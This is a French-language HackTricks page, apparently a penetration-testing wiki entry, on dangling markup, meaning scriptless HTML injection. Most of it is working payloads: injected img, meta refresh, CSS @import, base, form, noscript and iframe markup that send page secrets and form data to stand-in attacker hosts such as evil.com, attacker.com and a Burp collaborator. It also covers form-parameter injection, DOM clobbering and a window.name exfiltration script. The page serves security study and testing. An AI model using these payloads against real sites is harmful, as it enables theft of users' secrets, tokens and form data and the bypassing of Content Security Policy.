Dangling Markup - injection HTML sans script
Reading time: 11 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Résumé
Cette technique peut ĂȘtre utilisĂ©e pour extraire des informations d'un utilisateur lorsqu'une injection HTML est trouvĂ©e. Cela est trĂšs utile si vous ne trouvez aucun moyen d'exploiter un XSS mais que vous pouvez injecter des balises HTML.
Elle est également utile si un secret est enregistré en texte clair dans le HTML et que vous souhaitez l'exfiltrer du client, ou si vous voulez induire en erreur l'exécution de certains scripts.
Plusieurs techniques commentĂ©es ici peuvent ĂȘtre utilisĂ©es pour contourner certaines Content Security Policy en exfiltrant des informations de maniĂšre inattendue (balises html, CSS, balises http-meta, formulaires, base...).
Applications principales
Vol de secrets en texte clair
Si vous injectez <img src='http://evil.com/log.cgi?
lorsque la page est chargée, la victime vous enverra tout le code entre la balise img
injectĂ©e et la prochaine citation dans le code. Si un secret se trouve d'une maniĂšre ou d'une autre dans ce morceau, vous le volerez (vous pouvez faire la mĂȘme chose en utilisant une double citation, regardez ce qui pourrait ĂȘtre plus intĂ©ressant Ă utiliser).
Si la balise img
est interdite (en raison de CSP par exemple), vous pouvez Ă©galement utiliser <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Notez que Chrome bloque les URL HTTP contenant "<" ou "\n", donc vous pouvez essayer d'autres schémas de protocole comme "ftp".
Vous pouvez Ă©galement abuser de CSS @import
(enverra tout le code jusqu'Ă ce qu'il trouve un ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Vous pouvez Ă©galement utiliser <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Vous pouvez également insérer une <base
tag. Toutes les informations seront envoyées jusqu'à ce que la citation soit fermée, mais cela nécessite une interaction de l'utilisateur (l'utilisateur doit cliquer sur un lien, car la balise de base aura changé le domaine pointé par le lien) :
<base target=' <--- Injected
steal me'<b>test</b>
Vol de formulaires
<base href="http://evil.com/" />
Ensuite, les formulaires qui envoient des données vers le chemin (comme <form action='update_profile.php'>
) enverront les données vers le domaine malveillant.
Vol de formulaires 2
DĂ©finissez un en-tĂȘte de formulaire : <form action='http://evil.com/log_steal'>
cela Ă©crasera l'en-tĂȘte du formulaire suivant et toutes les donnĂ©es du formulaire seront envoyĂ©es Ă l'attaquant.
Vol de formulaires 3
Le bouton peut changer l'URL vers laquelle les informations du formulaire vont ĂȘtre envoyĂ©es avec l'attribut "formaction" :
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
Un attaquant peut utiliser cela pour voler des informations.
Trouvez un exemple de cette attaque dans ce rapport.
Vol de secrets en texte clair 2
En utilisant la technique mentionnĂ©e ci-dessus pour voler des formulaires (injecter un nouvel en-tĂȘte de formulaire), vous pouvez ensuite injecter un nouveau champ de saisie :
<input type='hidden' name='review_body' value="
et ce champ de saisie contiendra tout le contenu entre ses guillemets doubles et le prochain guillemet double dans le HTML. Cette attaque mélange "Vol de secrets en texte clair" avec "Vol de forms2".
Vous pouvez faire la mĂȘme chose en injectant un formulaire et une balise <option>
. Toutes les données jusqu'à ce qu'une balise </option>
fermée soit trouvée seront envoyées :
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Injection de paramĂštres de formulaire
Vous pouvez changer le chemin d'un formulaire et insérer de nouvelles valeurs afin qu'une action inattendue soit effectuée :
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> â Injected lines
<form action="/change_settings.php">
â Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> â Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
Vol de secrets en texte clair via noscript
<noscript></noscript>
est une balise dont le contenu sera interprété si le navigateur ne prend pas en charge JavaScript (vous pouvez activer/désactiver JavaScript dans Chrome à chrome://settings/content/javascript).
Une façon d'exfiltrer le contenu de la page web depuis le point d'injection jusqu'en bas vers un site contrÎlé par l'attaquant sera d'injecter ceci :
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Contournement de CSP avec interaction utilisateur
Dans cette recherche de portswiggers, vous pouvez apprendre que mĂȘme dans les environnements les plus restreints par CSP, vous pouvez toujours exfiltrer des donnĂ©es avec un peu d'interaction utilisateur. Dans cette occasion, nous allons utiliser le payload :
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Notez que vous demanderez à la victime de cliquer sur un lien qui le redirigera vers un payload contrÎlé par vous. Notez également que l'attribut target
à l'intérieur de la balise base
contiendra du contenu HTML jusqu'Ă la prochaine apostrophe.
Cela fera que la valeur de window.name
si le lien est cliqué sera tout ce contenu HTML. Par conséquent, comme vous contrÎlez la page à laquelle la victime accÚde en cliquant sur le lien, vous pouvez accéder à ce window.name
et exfiltrer ces données :
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Workflow de script trompeur 1 - Attaque par espace de noms HTML
InsĂ©rez une nouvelle balise avec un id Ă l'intĂ©rieur du HTML qui Ă©crasera la suivante et avec une valeur qui affectera le flux d'un script. Dans cet exemple, vous sĂ©lectionnez avec qui une information va ĂȘtre partagĂ©e :
<input type="hidden" id="share_with" value="fredmbogo" /> â Injected markup ...
Share this status update with: â Legitimate optional element of a dialog
<input id="share_with" value="" />
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
Flux de script trompeur 2 - Attaque par espace de noms de script
Créez des variables à l'intérieur de l'espace de noms javascript en insérant des balises HTML. Ensuite, cette variable affectera le flux de l'application :
<img id="is_public" /> â Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) â
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; â Condition always evaluates to true ... }
Abus de JSONP
Si vous trouvez une interface JSONP, vous pourriez ĂȘtre en mesure d'appeler une fonction arbitraire avec des donnĂ©es arbitraires :
<script src='/editor/sharing.js'>: â Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: â Injected JSONP call
set_sharing({ ... })
Ou vous pouvez mĂȘme essayer d'exĂ©cuter du javascript :
<script src="/search?q=a&call=alert(1)"></script>
Abus d'Iframe
Un document enfant possÚde la capacité de voir et de modifier la propriété location
de son parent, mĂȘme dans des situations cross-origin. Cela permet d'incorporer un script dans un iframe qui peut rediriger le client vers une page arbitraire :
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
Cela peut ĂȘtre attĂ©nuĂ© avec quelque chose comme : sandbox=' allow-scripts allow-top-navigation'
Un iframe peut Ă©galement ĂȘtre abusĂ© pour divulguer des informations sensibles d'une autre page en utilisant l'attribut name de l'iframe. Cela est dĂ» au fait que vous pouvez crĂ©er un iframe qui s'iframe lui-mĂȘme en abusant de l'injection HTML qui fait que les informations sensibles apparaissent Ă l'intĂ©rieur de l'attribut name de l'iframe et ensuite accĂ©der Ă ce nom depuis l'iframe initial et le divulguer.
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
Pour plus d'informations, consultez https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abus
Vous pouvez utiliser meta http-equiv
pour effectuer plusieurs actions comme définir un Cookie : <meta http-equiv="Set-Cookie" Content="SESSID=1">
ou effectuer une redirection (dans 5s dans ce cas) : <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Cela peut ĂȘtre Ă©vitĂ© avec un CSP concernant http-equiv ( Content-Security-Policy: default-src 'self';
, ou Content-Security-Policy: http-equiv 'self';
)
Nouveau <portal tag HTML
Vous pouvez trouver une recherche trÚs intéressante sur les vulnérabilités exploitables du tag <portal ici.
Au moment de la rédaction, vous devez activer le tag portal sur Chrome dans chrome://flags/#enable-portals
sinon cela ne fonctionnera pas.
<portal src='https://attacker-server?
Fuites HTML
Toutes les façons de fuir la connectivité en HTML ne seront pas utiles pour le Dangling Markup, mais parfois cela pourrait aider. Vérifiez-les ici : https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
C'est un mĂ©lange entre dangling markup et XS-Leaks. D'un cĂŽtĂ©, la vulnĂ©rabilitĂ© permet d'injecter du HTML (mais pas de JS) dans une page de la mĂȘme origine que celle que nous allons attaquer. De l'autre cĂŽtĂ©, nous n'allons pas attaquer directement la page oĂč nous pouvons injecter du HTML, mais une autre page.
XS-Search/XS-Leaks
XS-Search est orienté vers l'exfiltration d'informations cross-origin en abusant des attaques par canal auxiliaire. Par conséquent, c'est une technique différente du Dangling Markup, cependant, certaines des techniques abusent de l'inclusion de balises HTML (avec et sans exécution de JS), comme CSS Injection ou Lazy Load Images.
Liste de DĂ©tection par Brute-Force
Références
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.